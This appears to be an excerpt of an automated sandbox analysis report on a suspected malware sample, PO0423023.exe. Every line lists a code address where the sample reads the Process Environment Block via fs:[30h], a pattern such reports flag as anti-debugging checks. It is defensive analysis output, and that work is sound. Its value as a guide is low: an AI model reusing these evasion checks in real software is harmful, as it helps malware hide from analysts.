Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C2582 mov eax, dword ptr fs:[00000030h] 3_2_019C2582
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C2582 mov ecx, dword ptr fs:[00000030h] 3_2_019C2582
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E45B1 mov eax, dword ptr fs:[00000030h] 3_2_019E45B1
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E45B1 mov eax, dword ptr fs:[00000030h] 3_2_019E45B1
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C65D0 mov eax, dword ptr fs:[00000030h] 3_2_019C65D0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FA5D0 mov eax, dword ptr fs:[00000030h] 3_2_019FA5D0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FA5D0 mov eax, dword ptr fs:[00000030h] 3_2_019FA5D0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FE5CF mov eax, dword ptr fs:[00000030h] 3_2_019FE5CF
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FE5CF mov eax, dword ptr fs:[00000030h] 3_2_019FE5CF
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FC5ED mov eax, dword ptr fs:[00000030h] 3_2_019FC5ED
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FC5ED mov eax, dword ptr fs:[00000030h] 3_2_019FC5ED
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE5E7 mov eax, dword ptr fs:[00000030h] 3_2_019EE5E7
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE5E7 mov eax, dword ptr fs:[00000030h] 3_2_019EE5E7
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE5E7 mov eax, dword ptr fs:[00000030h] 3_2_019EE5E7
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE5E7 mov eax, dword ptr fs:[00000030h] 3_2_019EE5E7
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE5E7 mov eax, dword ptr fs:[00000030h] 3_2_019EE5E7
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE5E7 mov eax, dword ptr fs:[00000030h] 3_2_019EE5E7
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE5E7 mov eax, dword ptr fs:[00000030h] 3_2_019EE5E7
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE5E7 mov eax, dword ptr fs:[00000030h] 3_2_019EE5E7
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C25E0 mov eax, dword ptr fs:[00000030h] 3_2_019C25E0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE53E mov eax, dword ptr fs:[00000030h] 3_2_019EE53E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE53E mov eax, dword ptr fs:[00000030h] 3_2_019EE53E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE53E mov eax, dword ptr fs:[00000030h] 3_2_019EE53E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE53E mov eax, dword ptr fs:[00000030h] 3_2_019EE53E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE53E mov eax, dword ptr fs:[00000030h] 3_2_019EE53E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A56500 mov eax, dword ptr fs:[00000030h] 3_2_01A56500
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0535 mov eax, dword ptr fs:[00000030h] 3_2_019D0535
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0535 mov eax, dword ptr fs:[00000030h] 3_2_019D0535
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0535 mov eax, dword ptr fs:[00000030h] 3_2_019D0535
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0535 mov eax, dword ptr fs:[00000030h] 3_2_019D0535
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0535 mov eax, dword ptr fs:[00000030h] 3_2_019D0535
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0535 mov eax, dword ptr fs:[00000030h] 3_2_019D0535
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A94500 mov eax, dword ptr fs:[00000030h] 3_2_01A94500
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A94500 mov eax, dword ptr fs:[00000030h] 3_2_01A94500
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A94500 mov eax, dword ptr fs:[00000030h] 3_2_01A94500
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A94500 mov eax, dword ptr fs:[00000030h] 3_2_01A94500
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A94500 mov eax, dword ptr fs:[00000030h] 3_2_01A94500
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A94500 mov eax, dword ptr fs:[00000030h] 3_2_01A94500
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A94500 mov eax, dword ptr fs:[00000030h] 3_2_01A94500
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C8550 mov eax, dword ptr fs:[00000030h] 3_2_019C8550
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C8550 mov eax, dword ptr fs:[00000030h] 3_2_019C8550
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F656A mov eax, dword ptr fs:[00000030h] 3_2_019F656A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F656A mov eax, dword ptr fs:[00000030h] 3_2_019F656A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F656A mov eax, dword ptr fs:[00000030h] 3_2_019F656A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4A4B0 mov eax, dword ptr fs:[00000030h] 3_2_01A4A4B0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F44B0 mov ecx, dword ptr fs:[00000030h] 3_2_019F44B0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C64AB mov eax, dword ptr fs:[00000030h] 3_2_019C64AB
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A7A49A mov eax, dword ptr fs:[00000030h] 3_2_01A7A49A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C04E5 mov ecx, dword ptr fs:[00000030h] 3_2_019C04E5
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A46420 mov eax, dword ptr fs:[00000030h] 3_2_01A46420
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A46420 mov eax, dword ptr fs:[00000030h] 3_2_01A46420
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A46420 mov eax, dword ptr fs:[00000030h] 3_2_01A46420
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A46420 mov eax, dword ptr fs:[00000030h] 3_2_01A46420
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A46420 mov eax, dword ptr fs:[00000030h] 3_2_01A46420
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A46420 mov eax, dword ptr fs:[00000030h] 3_2_01A46420
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A46420 mov eax, dword ptr fs:[00000030h] 3_2_01A46420
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F8402 mov eax, dword ptr fs:[00000030h] 3_2_019F8402
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F8402 mov eax, dword ptr fs:[00000030h] 3_2_019F8402
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F8402 mov eax, dword ptr fs:[00000030h] 3_2_019F8402
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FA430 mov eax, dword ptr fs:[00000030h] 3_2_019FA430
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019BE420 mov eax, dword ptr fs:[00000030h] 3_2_019BE420
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019BE420 mov eax, dword ptr fs:[00000030h] 3_2_019BE420
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019BE420 mov eax, dword ptr fs:[00000030h] 3_2_019BE420
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019BC427 mov eax, dword ptr fs:[00000030h] 3_2_019BC427
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E245A mov eax, dword ptr fs:[00000030h] 3_2_019E245A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4C460 mov ecx, dword ptr fs:[00000030h] 3_2_01A4C460
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019B645D mov eax, dword ptr fs:[00000030h] 3_2_019B645D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FE443 mov eax, dword ptr fs:[00000030h] 3_2_019FE443
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FE443 mov eax, dword ptr fs:[00000030h] 3_2_019FE443
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FE443 mov eax, dword ptr fs:[00000030h] 3_2_019FE443
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FE443 mov eax, dword ptr fs:[00000030h] 3_2_019FE443
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FE443 mov eax, dword ptr fs:[00000030h] 3_2_019FE443
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FE443 mov eax, dword ptr fs:[00000030h] 3_2_019FE443
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FE443 mov eax, dword ptr fs:[00000030h] 3_2_019FE443
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FE443 mov eax, dword ptr fs:[00000030h] 3_2_019FE443
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EA470 mov eax, dword ptr fs:[00000030h] 3_2_019EA470
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EA470 mov eax, dword ptr fs:[00000030h] 3_2_019EA470
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EA470 mov eax, dword ptr fs:[00000030h] 3_2_019EA470
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A7A456 mov eax, dword ptr fs:[00000030h] 3_2_01A7A456
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A747A0 mov eax, dword ptr fs:[00000030h] 3_2_01A747A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A6678E mov eax, dword ptr fs:[00000030h] 3_2_01A6678E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C07AF mov eax, dword ptr fs:[00000030h] 3_2_019C07AF
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4E7E1 mov eax, dword ptr fs:[00000030h] 3_2_01A4E7E1
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CC7C0 mov eax, dword ptr fs:[00000030h] 3_2_019CC7C0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C47FB mov eax, dword ptr fs:[00000030h] 3_2_019C47FB
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C47FB mov eax, dword ptr fs:[00000030h] 3_2_019C47FB
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A407C3 mov eax, dword ptr fs:[00000030h] 3_2_01A407C3
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E27ED mov eax, dword ptr fs:[00000030h] 3_2_019E27ED
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E27ED mov eax, dword ptr fs:[00000030h] 3_2_019E27ED
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E27ED mov eax, dword ptr fs:[00000030h] 3_2_019E27ED
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C0710 mov eax, dword ptr fs:[00000030h] 3_2_019C0710
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F0710 mov eax, dword ptr fs:[00000030h] 3_2_019F0710
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3C730 mov eax, dword ptr fs:[00000030h] 3_2_01A3C730
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FC700 mov eax, dword ptr fs:[00000030h] 3_2_019FC700
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F273C mov eax, dword ptr fs:[00000030h] 3_2_019F273C
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F273C mov ecx, dword ptr fs:[00000030h] 3_2_019F273C
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F273C mov eax, dword ptr fs:[00000030h] 3_2_019F273C
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FC720 mov eax, dword ptr fs:[00000030h] 3_2_019FC720
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FC720 mov eax, dword ptr fs:[00000030h] 3_2_019FC720
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C0750 mov eax, dword ptr fs:[00000030h] 3_2_019C0750
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F674D mov esi, dword ptr fs:[00000030h] 3_2_019F674D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F674D mov eax, dword ptr fs:[00000030h] 3_2_019F674D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F674D mov eax, dword ptr fs:[00000030h] 3_2_019F674D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C8770 mov eax, dword ptr fs:[00000030h] 3_2_019C8770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D0770 mov eax, dword ptr fs:[00000030h] 3_2_019D0770
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02750 mov eax, dword ptr fs:[00000030h] 3_2_01A02750
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02750 mov eax, dword ptr fs:[00000030h] 3_2_01A02750
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A44755 mov eax, dword ptr fs:[00000030h] 3_2_01A44755
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4E75D mov eax, dword ptr fs:[00000030h] 3_2_01A4E75D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C4690 mov eax, dword ptr fs:[00000030h] 3_2_019C4690
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C4690 mov eax, dword ptr fs:[00000030h] 3_2_019C4690
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F66B0 mov eax, dword ptr fs:[00000030h] 3_2_019F66B0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FC6A6 mov eax, dword ptr fs:[00000030h] 3_2_019FC6A6
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3E6F2 mov eax, dword ptr fs:[00000030h] 3_2_01A3E6F2
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3E6F2 mov eax, dword ptr fs:[00000030h] 3_2_01A3E6F2
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3E6F2 mov eax, dword ptr fs:[00000030h] 3_2_01A3E6F2
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3E6F2 mov eax, dword ptr fs:[00000030h] 3_2_01A3E6F2
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A406F1 mov eax, dword ptr fs:[00000030h] 3_2_01A406F1
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A406F1 mov eax, dword ptr fs:[00000030h] 3_2_01A406F1
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FA6C7 mov ebx, dword ptr fs:[00000030h] 3_2_019FA6C7
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FA6C7 mov eax, dword ptr fs:[00000030h] 3_2_019FA6C7
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D260B mov eax, dword ptr fs:[00000030h] 3_2_019D260B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D260B mov eax, dword ptr fs:[00000030h] 3_2_019D260B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D260B mov eax, dword ptr fs:[00000030h] 3_2_019D260B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D260B mov eax, dword ptr fs:[00000030h] 3_2_019D260B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D260B mov eax, dword ptr fs:[00000030h] 3_2_019D260B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D260B mov eax, dword ptr fs:[00000030h] 3_2_019D260B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D260B mov eax, dword ptr fs:[00000030h] 3_2_019D260B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3E609 mov eax, dword ptr fs:[00000030h] 3_2_01A3E609
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C262C mov eax, dword ptr fs:[00000030h] 3_2_019C262C
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A02619 mov eax, dword ptr fs:[00000030h] 3_2_01A02619
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019DE627 mov eax, dword ptr fs:[00000030h] 3_2_019DE627
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F6620 mov eax, dword ptr fs:[00000030h] 3_2_019F6620
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F8620 mov eax, dword ptr fs:[00000030h] 3_2_019F8620
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8866E mov eax, dword ptr fs:[00000030h] 3_2_01A8866E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8866E mov eax, dword ptr fs:[00000030h] 3_2_01A8866E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019DC640 mov eax, dword ptr fs:[00000030h] 3_2_019DC640
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F2674 mov eax, dword ptr fs:[00000030h] 3_2_019F2674
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FA660 mov eax, dword ptr fs:[00000030h] 3_2_019FA660
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FA660 mov eax, dword ptr fs:[00000030h] 3_2_019FA660
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A489B3 mov esi, dword ptr fs:[00000030h] 3_2_01A489B3
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A489B3 mov eax, dword ptr fs:[00000030h] 3_2_01A489B3
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A489B3 mov eax, dword ptr fs:[00000030h] 3_2_01A489B3
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C09AD mov eax, dword ptr fs:[00000030h] 3_2_019C09AD
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C09AD mov eax, dword ptr fs:[00000030h] 3_2_019C09AD
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019D29A0 mov eax, dword ptr fs:[00000030h] 3_2_019D29A0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4E9E0 mov eax, dword ptr fs:[00000030h] 3_2_01A4E9E0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CA9D0 mov eax, dword ptr fs:[00000030h] 3_2_019CA9D0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CA9D0 mov eax, dword ptr fs:[00000030h] 3_2_019CA9D0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CA9D0 mov eax, dword ptr fs:[00000030h] 3_2_019CA9D0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CA9D0 mov eax, dword ptr fs:[00000030h] 3_2_019CA9D0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CA9D0 mov eax, dword ptr fs:[00000030h] 3_2_019CA9D0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019CA9D0 mov eax, dword ptr fs:[00000030h] 3_2_019CA9D0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F49D0 mov eax, dword ptr fs:[00000030h] 3_2_019F49D0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A569C0 mov eax, dword ptr fs:[00000030h] 3_2_01A569C0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F29F9 mov eax, dword ptr fs:[00000030h] 3_2_019F29F9
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F29F9 mov eax, dword ptr fs:[00000030h] 3_2_019F29F9
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8A9D3 mov eax, dword ptr fs:[00000030h] 3_2_01A8A9D3
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019B8918 mov eax, dword ptr fs:[00000030h] 3_2_019B8918
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019B8918 mov eax, dword ptr fs:[00000030h] 3_2_019B8918
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4892A mov eax, dword ptr fs:[00000030h] 3_2_01A4892A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A5892B mov eax, dword ptr fs:[00000030h] 3_2_01A5892B
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3E908 mov eax, dword ptr fs:[00000030h] 3_2_01A3E908
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A3E908 mov eax, dword ptr fs:[00000030h] 3_2_01A3E908
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4C912 mov eax, dword ptr fs:[00000030h] 3_2_01A4C912
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A0096E mov eax, dword ptr fs:[00000030h] 3_2_01A0096E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A0096E mov edx, dword ptr fs:[00000030h] 3_2_01A0096E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A0096E mov eax, dword ptr fs:[00000030h] 3_2_01A0096E
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4C97C mov eax, dword ptr fs:[00000030h] 3_2_01A4C97C
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A64978 mov eax, dword ptr fs:[00000030h] 3_2_01A64978
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A64978 mov eax, dword ptr fs:[00000030h] 3_2_01A64978
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A40946 mov eax, dword ptr fs:[00000030h] 3_2_01A40946
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A94940 mov eax, dword ptr fs:[00000030h] 3_2_01A94940
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E6962 mov eax, dword ptr fs:[00000030h] 3_2_019E6962
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E6962 mov eax, dword ptr fs:[00000030h] 3_2_019E6962
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E6962 mov eax, dword ptr fs:[00000030h] 3_2_019E6962
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C0887 mov eax, dword ptr fs:[00000030h] 3_2_019C0887
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4C89D mov eax, dword ptr fs:[00000030h] 3_2_01A4C89D
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A8A8E4 mov eax, dword ptr fs:[00000030h] 3_2_01A8A8E4
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019EE8C0 mov eax, dword ptr fs:[00000030h] 3_2_019EE8C0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FC8F9 mov eax, dword ptr fs:[00000030h] 3_2_019FC8F9
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FC8F9 mov eax, dword ptr fs:[00000030h] 3_2_019FC8F9
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A908C0 mov eax, dword ptr fs:[00000030h] 3_2_01A908C0
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A6483A mov eax, dword ptr fs:[00000030h] 3_2_01A6483A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A6483A mov eax, dword ptr fs:[00000030h] 3_2_01A6483A
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E2835 mov eax, dword ptr fs:[00000030h] 3_2_019E2835
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E2835 mov eax, dword ptr fs:[00000030h] 3_2_019E2835
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E2835 mov eax, dword ptr fs:[00000030h] 3_2_019E2835
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E2835 mov ecx, dword ptr fs:[00000030h] 3_2_019E2835
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E2835 mov eax, dword ptr fs:[00000030h] 3_2_019E2835
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019E2835 mov eax, dword ptr fs:[00000030h] 3_2_019E2835
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019FA830 mov eax, dword ptr fs:[00000030h] 3_2_019FA830
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A4C810 mov eax, dword ptr fs:[00000030h] 3_2_01A4C810
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C4859 mov eax, dword ptr fs:[00000030h] 3_2_019C4859
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019C4859 mov eax, dword ptr fs:[00000030h] 3_2_019C4859
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_019F0854 mov eax, dword ptr fs:[00000030h] 3_2_019F0854
